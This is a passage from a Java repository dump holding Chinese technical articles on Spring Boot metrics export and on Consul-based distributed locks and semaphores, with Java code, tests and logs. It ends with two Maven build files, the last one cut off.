[**OpenTSDB**](http://opentsdb.net/)**:** Spring Boot有一篇文章[关于连接数据到OpenTSBD](http://docs.spring.io/spring-boot/docs/current-SNAPSHOT/reference/htmlsingle/#production-ready-metric-writers-export-to-open-tsdb). 然而，这种方式与StatsD类似，你必须实现和维护自定义的代码来让它工作起来。另外，OpenTSDB没有开箱即用的图形可视化工具。\n- [**JMXTrans**](https://github.com/jmxtrans/jmxtrans): 可以用来提取数据并发送到其他的监控工具，它也需要具体的实现。\n- [**Ganglia**](http://ganglia.info/): 也是基于JVM上的工具，记录所有Actuator资源。与之前所说的APM有相同问题。\n\n经过一番研究，我发现了一个更好的解决方案：通过InfluxDB 和Telegraf实现，零编码，只需要通过一些正确的配置。\n\n- [**Jolokia**](https://jolokia.org/): Spring Boot [认可使用Jolokia来通过HTTP导出export JMX数据](http://docs.spring.io/spring-boot/docs/current-SNAPSHOT/reference/htmlsingle/#production-ready-jolokia)。你只需要在工程类路径中增加一些依赖项，一切都是开箱即用的。不需要任何额外的实现。\n- [**Telegraf**](https://www.influxdata.com/time-series-platform/telegraf/)**:** Telegraf支持通过整合Jolokia来集成JMX数据的收集。[它有一个预制的输入插件](https://github.com/influxdata/telegraf/tree/master/plugins/inputs/jolokia)，它是开箱即用的。不需要任何额外的实现。只需要做一些配置即可。\n- [**InfluxDB**](https://www.influxdata.com/time-series-platform/influxdb/)**:** InfluxDB通过 [输出插件](https://github.com/influxdata/telegraf/tree/master/plugins/outputs/influxdb)从Telegraf接收指标数据，它是开箱即用的，不需要任何额外的实现。\n- [**Grafana**](http://grafana.org/): Grafana通过[连接InfluxDB作为数据源](http://docs.grafana.org/datasources/influxdb/)来渲染图标。它是开箱即用的，不需要额外的实现。\n\n简而言之，配置所有这些东西都非常的简单。\n\n[![Spring Boot Actuator Raw Metrics](https://blog.didispace.com/assets/1-r252t1MBNRc3thU3DMRTcQ.png)](https://blog.didispace.com/assets/1-r252t1MBNRc3thU3DMRTcQ.png)Spring Boot Actuator Raw Metrics\n\n[![Metrics sent by Telegraf to InfluxDB, collected by Jolokia and JMX over HTTP](https://blog.didispace.com/assets/1-XdrZlKh1Q2G0yd6xNkSrgQ.png)](https://blog.didispace.com/assets/1-XdrZlKh1Q2G0yd6xNkSrgQ.png)Metrics sent by Telegraf to InfluxDB, collected by Jolokia and JMX over HTTP\n\n[![Grafana InfluxDB data source configuration](https://blog.didispace.com/assets/1-K8NTfF4Z2ms1YM_4cCjyvQ.png)](https://blog.didispace.com/assets/1-K8NTfF4Z2ms1YM_4cCjyvQ.png)Grafana InfluxDB data source configuration\n\n[![Grafana Metric chart query and configuration: gauges of an API](https://blog.didispace.com/assets/1-ZoQcStClNQf7iz_cQNZHxA.png)](https://blog.didispace.com/assets/1-ZoQcStClNQf7iz_cQNZHxA.png)Grafana Metric chart query and configuration: gauges of an API"
  },
  {
    "path": "jun_springcloud_plugin/doc/基于Consul的分布式信号量实现.md",
    "content": "# 基于Consul的分布式信号量实现\n\n**原创**\n\n [2017-04-15](https://blog.didispace.com/spring-cloud-consul-lock-and-semphore-2/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n本文将继续讨论基于Consul的分布式锁实现。信号量是我们在实现并发控制时会经常使用的手段，主要用来限制同时并发线程或进程的数量，比如：Zuul默认情况下就使用信号量来限制每个路由的并发数，以实现不同路由间的资源隔离。\n\n> 信号量(Semaphore)，有时被称为信号灯，是在多线程环境下使用的一种设施，是可以用来保证两个或多个关键代码段不被并发调用。在进入一个关键代码段之前，线程必须获取一个信号量；一旦该关键代码段完成了，那么该线程必须释放信号量。其它想进入该关键代码段的线程必须等待直到第一个线程释放信号量。为了完成这个过程，需要创建一个信号量VI，然后将Acquire Semaphore VI以及Release Semaphore VI分别放置在每个关键代码段的首末端，确认这些信号量VI引用的是初始创建的信号量。如在这个停车场系统中，车位是公共资源，每辆车好比一个线程，看门人起的就是信号量的作用。\n\n## 实现思路\n\n- 信号量存储：semaphore/key\n- acquired操作：\n  - 创建session\n  - 锁定key竞争者：semaphore/key/session\n  - 查询信号量：semaphore/key/.lock，可以获得如下内容（如果是第一次创建信号量，将获取不到，这个时候就直接创建）\n\n```\n{\n    \"limit\": 3,\n    \"holders\": [\n        \"90c0772a-4bd3-3a3c-8215-3b8937e36027\",\n        \"93e5611d-5365-a374-8190-f80c4a7280ab\"\n    ]\n}\n```\n\n- 如果持有者已达上限，返回false，如果阻塞模式，就继续尝试acquired操作\n- 如果持有者未达上限，更新semaphore/key/.lock的内容，将当前线程的sessionId加入到holders中。注意：更新的时候需要设置cas，它的值是“查询信号量”步骤获得的“ModifyIndex”值，该值用于保证更新操作的基础没有被其他竞争者更新。如果更新成功，就开始执行具体逻辑。如果没有更新成功，说明有其他竞争者抢占了资源，返回false，阻塞模式下继续尝试acquired操作\n- release操作：\n  - 从semaphore/key/.lock的holders中移除当前sessionId\n  - 删除semaphore/key/session\n  - 删除当前的session\n\n## 流程图\n\n[![img](https://blog.didispace.com/assets/consul-sem.png)](https://blog.didispace.com/assets/consul-sem.png)\n\n## 代码实现\n\n```\npublic class Semaphore {\n \n    private Logger logger = Logger.getLogger(getClass());\n \n    private static final String prefix = \"semaphore/\";  // 信号量参数前缀\n \n    private ConsulClient consulClient;\n    private int limit;\n    private String keyPath;\n    private String sessionId = null;\n    private boolean acquired = false;\n \n    /**\n     *\n     * @param consulClient consul客户端实例\n     * @param limit 信号量上限值\n     * @param keyPath 信号量在consul中存储的参数路径\n     */\n    public Semaphore(ConsulClient consulClient, int limit, String keyPath) {\n        this.consulClient = consulClient;\n        this.limit = limit;\n        this.keyPath = prefix + keyPath;\n    }\n \n    /**\n     * acquired信号量\n     *\n     * @param block 是否阻塞。如果为true，那么一直尝试，直到获取到该资源为止。\n     * @return\n     * @throws IOException\n     */\n    public Boolean acquired(boolean block) throws IOException {\n \n        if(acquired) {\n            logger.error(sessionId + \" - Already acquired\");\n            throw new RuntimeException(sessionId + \" - Already acquired\");\n        }\n \n        // create session\n        clearSession();\n        this.sessionId = createSessionId(\"semaphore\");\n        logger.debug(\"Create session : \" + sessionId);\n \n        // add contender entry\n        String contenderKey = keyPath + \"/\" + sessionId;\n        logger.debug(\"contenderKey : \" + contenderKey);\n        PutParams putParams = new PutParams();\n        putParams.setAcquireSession(sessionId);\n        Boolean b = consulClient.setKVValue(contenderKey, \"\", putParams).getValue();\n        if(!b) {\n            logger.error(\"Failed to add contender entry : \" + contenderKey + \", \" + sessionId);\n            throw new RuntimeException(\"Failed to add contender entry : \" + contenderKey + \", \" + sessionId);\n        }\n \n        while(true) {\n            // try to take the semaphore\n            String lockKey = keyPath + \"/.lock\";\n            String lockKeyValue;\n \n            GetValue lockKeyContent = consulClient.getKVValue(lockKey).getValue();\n \n            if (lockKeyContent != null) {\n                // lock值转换\n                lockKeyValue = lockKeyContent.getValue();\n                BASE64Decoder decoder = new BASE64Decoder();\n                byte[] v = decoder.decodeBuffer(lockKeyValue);\n                String lockKeyValueDecode = new String(v);\n                logger.debug(\"lockKey=\" + lockKey + \", lockKeyValueDecode=\" + lockKeyValueDecode);\n \n                Gson gson = new Gson();\n                ContenderValue contenderValue = gson.fromJson(lockKeyValueDecode, ContenderValue.class);\n                // 当前信号量已满\n                if(contenderValue.getLimit() == contenderValue.getHolders().size()) {\n                    logger.debug(\"Semaphore limited \" + contenderValue.getLimit() + \", waiting...\");\n                    if(block) {\n                        // 如果是阻塞模式，再尝试\n                        try {\n                            Thread.sleep(100L);\n                        } catch (InterruptedException e) {\n                        }\n                        continue;\n                    }\n                    // 非阻塞模式，直接返回没有获取到信号量\n                    return false;\n                }\n                // 信号量增加\n                contenderValue.getHolders().add(sessionId);\n                putParams = new PutParams();\n                putParams.setCas(lockKeyContent.getModifyIndex());\n                boolean c = consulClient.setKVValue(lockKey, contenderValue.toString(), putParams).getValue();\n                if(c) {\n                    acquired = true;\n                    return true;\n                }\n                else\n                    continue;\n            } else {\n                // 当前信号量还没有，所以创建一个，并马上抢占一个资源\n                ContenderValue contenderValue = new ContenderValue();\n                contenderValue.setLimit(limit);\n                contenderValue.getHolders().add(sessionId);\n \n                putParams = new PutParams();\n                putParams.setCas(0L);\n                boolean c = consulClient.setKVValue(lockKey, contenderValue.toString(), putParams).getValue();\n                if (c) {\n                    acquired = true;\n                    return true;\n                }\n                continue;\n            }\n        }\n    }\n \n    /**\n     * 创建sessionId\n     * @param sessionName\n     * @return\n     */\n    public String createSessionId(String sessionName) {\n        NewSession newSession = new NewSession();\n        newSession.setName(sessionName);\n        return consulClient.sessionCreate(newSession, null).getValue();\n    }\n \n    /**\n     * 释放session、并从lock中移除当前的sessionId\n     * @throws IOException\n     */\n    public void release() throws IOException {\n        if(this.acquired) {\n            // remove session from lock\n            while(true) {\n                String contenderKey = keyPath + \"/\" + sessionId;\n                String lockKey = keyPath + \"/.lock\";\n                String lockKeyValue;\n \n                GetValue lockKeyContent = consulClient.getKVValue(lockKey).getValue();\n                if (lockKeyContent != null) {\n                    // lock值转换\n                    lockKeyValue = lockKeyContent.getValue();\n                    BASE64Decoder decoder = new BASE64Decoder();\n                    byte[] v = decoder.decodeBuffer(lockKeyValue);\n                    String lockKeyValueDecode = new String(v);\n                    Gson gson = new Gson();\n                    ContenderValue contenderValue = gson.fromJson(lockKeyValueDecode, ContenderValue.class);\n                    contenderValue.getHolders().remove(sessionId);\n                    PutParams putParams = new PutParams();\n                    putParams.setCas(lockKeyContent.getModifyIndex());\n                    consulClient.deleteKVValue(contenderKey);\n                    boolean c = consulClient.setKVValue(lockKey, contenderValue.toString(), putParams).getValue();\n                    if(c) {\n                        break;\n                    }\n                }\n            }\n            // remove session key\n \n        }\n        this.acquired = false;\n        clearSession();\n    }\n \n    public void clearSession() {\n        if(sessionId != null) {\n            consulClient.sessionDestroy(sessionId, null);\n            sessionId = null;\n        }\n    }\n \n    class ContenderValue implements Serializable {\n \n        private Integer limit;\n        private List<String> holders = new ArrayList<>();\n \n        public Integer getLimit() {\n            return limit;\n        }\n \n        public void setLimit(Integer limit) {\n            this.limit = limit;\n        }\n \n        public List<String> getHolders() {\n            return holders;\n        }\n \n        public void setHolders(List<String> holders) {\n            this.holders = holders;\n        }\n \n        @Override\n        public String toString() {\n            return new Gson().toJson(this);\n        }\n \n    }\n \n}\n```\n\n## 单元测试\n\n下面单元测试的逻辑：通过线程的方式来模拟不同的分布式服务来获取信号量执行业务逻辑。由于信号量与简单的分布式互斥锁有所不同，它不是只限定一个线程可以操作，而是可以控制多个线程的并发，所以通过下面的单元测试，我们设置信号量为3，然后同时启动15个线程来竞争的情况，来观察分布式信号量实现的结果如何。\n\n```\npublic class TestLock {\n \n    private Logger logger = Logger.getLogger(getClass());\n \n    @Test\n    public void testSemaphore() throws Exception {\n        new Thread(new SemaphoreRunner(1)).start();\n        new Thread(new SemaphoreRunner(2)).start();\n        new Thread(new SemaphoreRunner(3)).start();\n        new Thread(new SemaphoreRunner(4)).start();\n        new Thread(new SemaphoreRunner(5)).start();\n        new Thread(new SemaphoreRunner(6)).start();\n        new Thread(new SemaphoreRunner(7)).start();\n        new Thread(new SemaphoreRunner(8)).start();\n        new Thread(new SemaphoreRunner(9)).start();\n        new Thread(new SemaphoreRunner(10)).start();\n        Thread.sleep(1000000L);\n    } \n}\n  \npublic class SemaphoreRunner implements Runnable {\n \n    private Logger logger = Logger.getLogger(getClass());\n \n    private int flag;\n \n    public SemaphoreRunner(int flag) {\n        this.flag = flag;\n    }\n \n    @Override\n    public void run() {\n        Semaphore semaphore = new Semaphore(new ConsulClient(), 3, \"mg-init\");\n        try {\n            if (semaphore.acquired(true)) {\n                // 获取到信号量，执行业务逻辑\n                logger.info(\"Thread \" + flag + \" start!\");\n                Thread.sleep(new Random().nextInt(10000));\n                logger.info(\"Thread \" + flag + \" end!\");\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            try {\n                // 信号量释放、Session锁释放、Session删除\n                semaphore.release();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n\n    }\n}\nINFO  [Thread-6] SemaphoreRunner - Thread 7 start!\nINFO  [Thread-2] SemaphoreRunner - Thread 3 start!\nINFO  [Thread-7] SemaphoreRunner - Thread 8 start!\nINFO  [Thread-2] SemaphoreRunner - Thread 3 end!\nINFO  [Thread-5] SemaphoreRunner - Thread 6 start!\nINFO  [Thread-6] SemaphoreRunner - Thread 7 end!\nINFO  [Thread-9] SemaphoreRunner - Thread 10 start!\nINFO  [Thread-5] SemaphoreRunner - Thread 6 end!\nINFO  [Thread-1] SemaphoreRunner - Thread 2 start!\nINFO  [Thread-7] SemaphoreRunner - Thread 8 end!\nINFO  [Thread-10] SemaphoreRunner - Thread 11 start!\nINFO  [Thread-10] SemaphoreRunner - Thread 11 end!\nINFO  [Thread-12] SemaphoreRunner - Thread 13 start!\nINFO  [Thread-1] SemaphoreRunner - Thread 2 end!\nINFO  [Thread-3] SemaphoreRunner - Thread 4 start!\nINFO  [Thread-9] SemaphoreRunner - Thread 10 end!\nINFO  [Thread-0] SemaphoreRunner - Thread 1 start!\nINFO  [Thread-3] SemaphoreRunner - Thread 4 end!\nINFO  [Thread-14] SemaphoreRunner - Thread 15 start!\nINFO  [Thread-12] SemaphoreRunner - Thread 13 end!\nINFO  [Thread-0] SemaphoreRunner - Thread 1 end!\nINFO  [Thread-13] SemaphoreRunner - Thread 14 start!\nINFO  [Thread-11] SemaphoreRunner - Thread 12 start!\nINFO  [Thread-13] SemaphoreRunner - Thread 14 end!\nINFO  [Thread-4] SemaphoreRunner - Thread 5 start!\nINFO  [Thread-4] SemaphoreRunner - Thread 5 end!\nINFO  [Thread-8] SemaphoreRunner - Thread 9 start!\nINFO  [Thread-11] SemaphoreRunner - Thread 12 end!\nINFO  [Thread-14] SemaphoreRunner - Thread 15 end!\nINFO  [Thread-8] SemaphoreRunner - Thread 9 end!\n```\n\n从测试结果，我们可以发现当信号量持有者数量达到信号量上限3的时候，其他竞争者就开始进行等待了，只有当某个持有者释放信号量之后，才会有新的线程变成持有者，从而开始执行自己的业务逻辑。所以，分布式信号量可以帮助我们有效的控制同时操作某个共享资源的并发数。\n\n## 优化建议\n\n同前文一样，这里只是做了简单的实现。线上应用还必须加入TTL的session清理以及对.lock资源中的无效holder进行清理的机制。\n\n参考文档：https://www.consul.io/docs/guides/semaphore.html\n\n## 实现代码\n\n- GitHub：https://github.com/dyc87112/consul-distributed-lock\n- 开源中国：http://git.oschina.net/didispace/consul-distributed-lock"
  },
  {
    "path": "jun_springcloud_plugin/doc/基于Consul的分布式锁实现.md",
    "content": "# 基于Consul的分布式锁实现\n\n**原创**\n\n [2017-04-12](https://blog.didispace.com/spring-cloud-consul-lock-and-semphore/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n我们在构建分布式系统的时候，经常需要控制对共享资源的互斥访问。这个时候我们就涉及到分布式锁（也称为全局锁）的实现，基于目前的各种工具，我们已经有了大量的实现方式，比如：基于Redis的实现、基于Zookeeper的实现。本文将介绍一种基于Consul 的Key/Value存储来实现分布式锁以及信号量的方法。\n\n## 分布式锁实现\n\n基于Consul的分布式锁主要利用Key/Value存储API中的acquire和release操作来实现。acquire和release操作是类似Check-And-Set的操作：\n\n- acquire操作只有当锁不存在持有者时才会返回true，并且set设置的Value值，同时执行操作的session会持有对该Key的锁，否则就返回false\n- release操作则是使用指定的session来释放某个Key的锁，如果指定的session无效，那么会返回false，否则就会set设置Value值，并返回true\n\n具体实现中主要使用了这几个Key/Value的API：\n\n- create session：https://www.consul.io/api/session.html#session_create\n- delete session：https://www.consul.io/api/session.html#delete-session\n- KV acquire/release：https://www.consul.io/api/kv.html#create-update-key\n\n#### 基本流程\n\n[![img](https://blog.didispace.com/assets/consul-lock.png)](https://blog.didispace.com/assets/consul-lock.png)\n\n#### 具体实现\n\n```\npublic class Lock {\n \n    private static final String prefix = \"lock/\";  // 同步锁参数前缀\n \n    private ConsulClient consulClient;\n    private String sessionName;\n    private String sessionId = null;\n    private String lockKey;\n \n    /**\n     *\n     * @param consulClient\n     * @param sessionName   同步锁的session名称\n     * @param lockKey       同步锁在consul的KV存储中的Key路径，会自动增加prefix前缀，方便归类查询\n     */\n    public Lock(ConsulClient consulClient, String sessionName, String lockKey) {\n        this.consulClient = consulClient;\n        this.sessionName = sessionName;\n        this.lockKey = prefix + lockKey;\n    }\n \n    /**\n     * 获取同步锁\n     *\n     * @param block     是否阻塞，直到获取到锁为止\n     * @return\n     */\n    public Boolean lock(boolean block) {\n        if (sessionId != null) {\n            throw new RuntimeException(sessionId + \" - Already locked!\");\n        }\n        sessionId = createSession(sessionName);\n        while(true) {\n            PutParams putParams = new PutParams();\n            putParams.setAcquireSession(sessionId);\n            if(consulClient.setKVValue(lockKey, \"lock:\" + LocalDateTime.now(), putParams).getValue()) {\n                return true;\n            } else if(block) {\n                continue;\n            } else {\n                return false;\n            }\n        }\n    }\n \n    /**\n     * 释放同步锁\n     *\n     * @return\n     */\n    public Boolean unlock() {\n        PutParams putParams = new PutParams();\n        putParams.setReleaseSession(sessionId);\n        boolean result = consulClient.setKVValue(lockKey, \"unlock:\" + LocalDateTime.now(), putParams).getValue();\n        consulClient.sessionDestroy(sessionId, null);\n        return result;\n    }\n \n    /**\n     * 创建session\n     * @param sessionName\n     * @return\n     */\n    private String createSession(String sessionName) {\n        NewSession newSession = new NewSession();\n        newSession.setName(sessionName);\n        return consulClient.sessionCreate(newSession, null).getValue();\n    }\n \n}\n```\n\n#### 单元测试\n\n下面单元测试的逻辑：通过线程的方式来模拟不同的分布式服务来竞争锁。多个处理线程同时以阻塞方式来申请分布式锁，当处理线程获得锁之后，Sleep一段随机事件，以模拟处理业务逻辑，处理完毕之后释放锁。\n\n```\npublic class TestLock {\n \n    private Logger logger = Logger.getLogger(getClass());\n \n    @Test\n    public void testLock() throws Exception  {\n        new Thread(new LockRunner(1)).start();\n        new Thread(new LockRunner(2)).start();\n        new Thread(new LockRunner(3)).start();\n        new Thread(new LockRunner(4)).start();\n        new Thread(new LockRunner(5)).start();\n        Thread.sleep(200000L);\n    }\n  \n    class LockRunner implements Runnable {\n \n        private Logger logger = Logger.getLogger(getClass());\n        private int flag;\n \n        public LockRunner(int flag) {\n            this.flag = flag;\n        }\n \n        @Override\n        public void run() {\n            Lock lock = new Lock(new ConsulClient(), \"lock-session\", \"lock-key\");\n            try {\n                if (lock.lock(true)) {\n                    logger.info(\"Thread \" + flag + \" start!\");\n                    Thread.sleep(new Random().nextInt(3000L));\n                    logger.info(\"Thread \" + flag + \" end!\");\n                }\n            } catch (Exception e) {\n                e.printStackTrace();\n            } finally {\n                lock.unlock();\n            }\n        }\n    }\n  \n}\n```\n\n单元测试执行结果如下：\n\n```\n2017-04-12 21:28:09,698 INFO  [Thread-0] LockRunner - Thread 1 start!\n2017-04-12 21:28:12,717 INFO  [Thread-0] LockRunner - Thread 1 end!\n2017-04-12 21:28:13,219 INFO  [Thread-2] LockRunner - Thread 3 start!\n2017-04-12 21:28:15,672 INFO  [Thread-2] LockRunner - Thread 3 end!\n2017-04-12 21:28:15,735 INFO  [Thread-1] LockRunner - Thread 2 start!\n2017-04-12 21:28:17,788 INFO  [Thread-1] LockRunner - Thread 2 end!\n2017-04-12 21:28:18,249 INFO  [Thread-4] LockRunner - Thread 5 start!\n2017-04-12 21:28:19,573 INFO  [Thread-4] LockRunner - Thread 5 end!\n2017-04-12 21:28:19,757 INFO  [Thread-3] LockRunner - Thread 4 start!\n2017-04-12 21:28:21,353 INFO  [Thread-3] LockRunner - Thread 4 end!\n```\n\n从测试结果我们可以看到，通过分布式锁的形式来控制并发时，多个同步操作只会有一个操作能够被执行，其他操作只有在等锁释放之后才有机会去执行，所以通过这样的分布式锁，我们可以控制共享资源同时只能被一个操作进行执行，以保障数据处理时的分布式并发问题。\n\n#### 优化建议\n\n本文我们实现了基于Consul的简单分布式锁，但是在实际运行时，可能会因为各种各样的意外情况导致unlock操作没有得到正确地执行，从而使得分布式锁无法释放。所以为了更完善的使用分布式锁，我们还必须实现对锁的超时清理等控制，保证即使出现了未正常解锁的情况下也能自动修复，以提升系统的健壮性。那么如何实现呢？请持续关注我的后续分解！\n\n#### 参考文档\n\nKey/Value的API：https://www.consul.io/api/kv.html\n\n选举机制：https://www.consul.io/docs/guides/leader-election.html\n\n#### 实现代码\n\n- GitHub：https://github.com/dyc87112/consul-distributed-lock\n- 开源中国：http://git.oschina.net/didispace/consul-distributed-lock"
  },
  {
    "path": "jun_springcloud_plugin/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun_springcloud_plugin</artifactId>\n    <packaging>pom</packaging>\n    <version>1.0</version>\n    \n    <!-- 子模块定义 -->\n    <modules>\n        <!--<module>mvn_template</module> -->\n    </modules>\n\n\n    <properties>\n        <!-- 定义依赖的版本全局属性 -->\n        <druid.version>1.0.1</druid.version>\n        <mysql.version>8.0.15</mysql.version>\n        <spring.version>5.2.0.RELEASE</spring.version>\n        <mybatis.version>3.4.6</mybatis.version>\n        <mybatis-spring.version>1.3.2</mybatis-spring.version>\n        <pagehelper.version>5.1.10</pagehelper.version>\n\n        <dubbo.version>2.6.5</dubbo.version>\n        <zookeeper.version>3.5.5</zookeeper.version>\n        <zkclient.version>0.10</zkclient.version>\n\n        <commons-lang3.version>3.9</commons-lang3.version>\n        <commons-beanutils.version>1.9.3</commons-beanutils.version>\n        <commons-collections4.version>4.1</commons-collections4.version>\n        <junit.version>4.12</junit.version>\n\n        <mockito-core.version>3.0.0</mockito-core.version>\n        <httpclient.version>4.5.6</httpclient.version>\n        <fastjson.version>1.2.62</fastjson.version>\n        <jedis.version>3.1.0</jedis.version>\n\n        <log4j.version>1.2.17</log4j.version>\n        <javax.servlet.version>4.0.1</javax.servlet.version>\n        <rabbitmq-client.version>5.7.3</rabbitmq-client.version>\n\n        <!-- 定义编码和JDK版本 -->\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n    </properties>\n\n    <!-- 定义依赖管理: 可以用来解决在同一个项目的依赖版本冲突问题 -->\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>com.alibaba</groupId>\n                <artifactId>druid</artifactId>\n                <version>${druid.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>mysql</groupId>\n                <artifactId>mysql-connector-java</artifactId>\n                <version>${mysql.version}</version>\n                <scope>runtime</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-webmvc</artifactId>\n                <version>${spring.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-context</artifactId>\n                <version>${spring.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework</groupId>\n                <artifactId>spring-aop</artifactId>\n                <version>${spring.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.mybatis</groupId>\n                <artifactId>mybatis</artifactId>\n                <version>${mybatis.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.mybatis</groupId>\n                <artifactId>mybatis-spring</artifactId>\n                <version>${mybatis-spring.version}</version>\n            </dependency>\n\n            <dependency>\n                <groupId>com.github.pagehelper</groupId>\n                <artifactId>pagehelper</artifactId>\n                <version>${pagehelper.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.alibaba</groupId>\n                <artifactId>dubbo</artifactId>\n                <version>${dubbo.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.zookeeper</groupId>\n                <artifactId>zookeeper</artifactId>\n                <version>${zookeeper.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.101tec</groupId>\n                <artifactId>zkclient</artifactId>\n                <version>${zkclient.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.alibaba</groupId>\n                <artifactId>fastjson</artifactId>\n                <version>${fastjson.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>redis.clients</groupId>\n                <artifactId>jedis</artifactId>\n                <version>${jedis.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>log4j</groupId>\n                <artifactId>log4j</artifactId>\n                <version>${log4j.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>javax.servlet</groupId>\n                <artifactId>javax.servlet-api</artifactId>\n                <version>${javax.servlet.version}</version>\n                <scope>provided</scope>\n            </dependency>\n            <dependency>\n                <groupId>com.rabbitmq</groupId>\n                <artifactId>amqp-client</artifactId>\n                <version>${rabbitmq-client.version}</version>\n            </dependency>\n\n        </dependencies>\n    </dependencyManagement>\n\n    <!-- 定义父模块的依赖，这里的依赖会被子模块继承 -->\n    <dependencies>\n        <!-- 父模块中的依赖，会被子模块自动继承，所有子模块共性的依赖，可以在父模块中定义 -->\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>${junit.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>commons-beanutils</groupId>\n            <artifactId>commons-beanutils</artifactId>\n            <version>${commons-beanutils.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>${commons-lang3.version}</version>\n        </dependency>\n\n    </dependencies>\n\n\n    <build>\n        <!-- 插件管理，对于maven官方插件来说，groupId是可以省略的 -->\n        <pluginManagement>\n            <plugins>\n\t\t\t\t<!-- clean 阶段对应的goal -->\n                <plugin>\n                    <artifactId>maven-clean-plugin</artifactId>\n                    <version>3.0.0</version>\n                </plugin>\n\t\t\t\t<!-- process-resources 阶段对应的goal -->\n                <plugin>\n                    <artifactId>maven-resources-plugin</artifactId>\n                    <version>3.0.2</version>\n                </plugin>\n\t\t\t\t<!-- compile 阶段对应的goal -->\n                <plugin>\n                    <artifactId>maven-compiler-plugin</artifactId>\n                    <version>3.7.0</version>\n                </plugin>\n\t\t\t\t<!-- test 阶段对应的goal -->\n                <plugin>\n                    <artifactId>maven-surefire-plugin</artifactId>\n                    <version>2.20.1</version>\n                </plugin>\n\t\t\t\t<!-- package 阶段对应的goal -->\n                <plugin>\n                    <artifactId>maven-war-plugin</artifactId>\n                    <version>3.2.0</version>\n                </plugin>\n\t\t\t\t<!-- install 阶段对应的goal -->\n                <plugin>\n                    <artifactId>maven-install-plugin</artifactId>\n                    <version>2.5.2</version>\n                </plugin>\n            </plugins>\n        </pluginManagement>\n        <!-- 定义插件配置 -->\n        <plugins>\n            <!-- 测试周期插件 -->\n            <plugin>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <configuration>\n                    <!-- 跳过测试 -->\n                    <skip>true</skip>\n                    <!-- 测试失败后，不影响构建 -->\n                    <!--                    <testFailureIgnore>true</testFailureIgnore>-->\n                </configuration>\n                <version>2.20.1</version>\n            </plugin>\n        </plugins>\n\n        <!-- 定义资源配置 -->\n        <resources>\n            <resource>\n                <!-- 设定主资源目录  -->\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                    <include>**/*.java</include>\n                </includes>\n\n                <excludes>\n                    <exclude>**/*.yaml</exclude>\n                </excludes>\n\n                <!-- maven default生命周期，process-resources阶段执行maven-resources-plugin插件的resources目标处理主资源目下的资源文件时，是否对主资源目录开启资源过滤 -->\n                <filtering>true</filtering>\n            </resource>\n        </resources>\n\n    </build>\n</project>\n\n\n\n"
  },
  {
    "path": "pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\r\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\r\n\t<modelVersion>4.0.0</modelVersion>\r\n\t<groupId>io.github.wujun728</groupId>\r\n\t<artifactId>jun_java_plugin</artifactId>\r\n\t<version>1.25.01</version>\r\n\t<packaging>pom</packaging>\r\n\r\n\t<properties>\r\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\r\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\r\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\r\n\t\t<maven.javadoc.skip>true</maven.javadoc.skip>\r\n\t</properties>\r\n\t<modules>\r\n\t\t<module>jun_java_plugins</module>\r\n\t\t<module>jun_springboot_starter</module>\r\n\t\t<module>jun_springboot_plugin</module>\r\n\t\t<module>jun_springcloud_plugin</module>\r\n\t\t<module>java_project_template</module>\r\n\t</modules>\r\n\r\n\t<dependencies>\r\n\t</dependencies>\r\n\r\n\t<profiles>\r\n\t\t<profile>\r\n\t\t\t<id>jdk-1.8</id>\r\n\t\t\t<activation>\r\n\t\t\t\t<activeByDefault>true</activeByDefault>\r\n\t\t\t\t<jdk>1.8</jdk>\r\n\t\t\t</activation>\r\n\t\t\t<properties>\r\n\t\t\t\t<maven.compiler.source>1.8</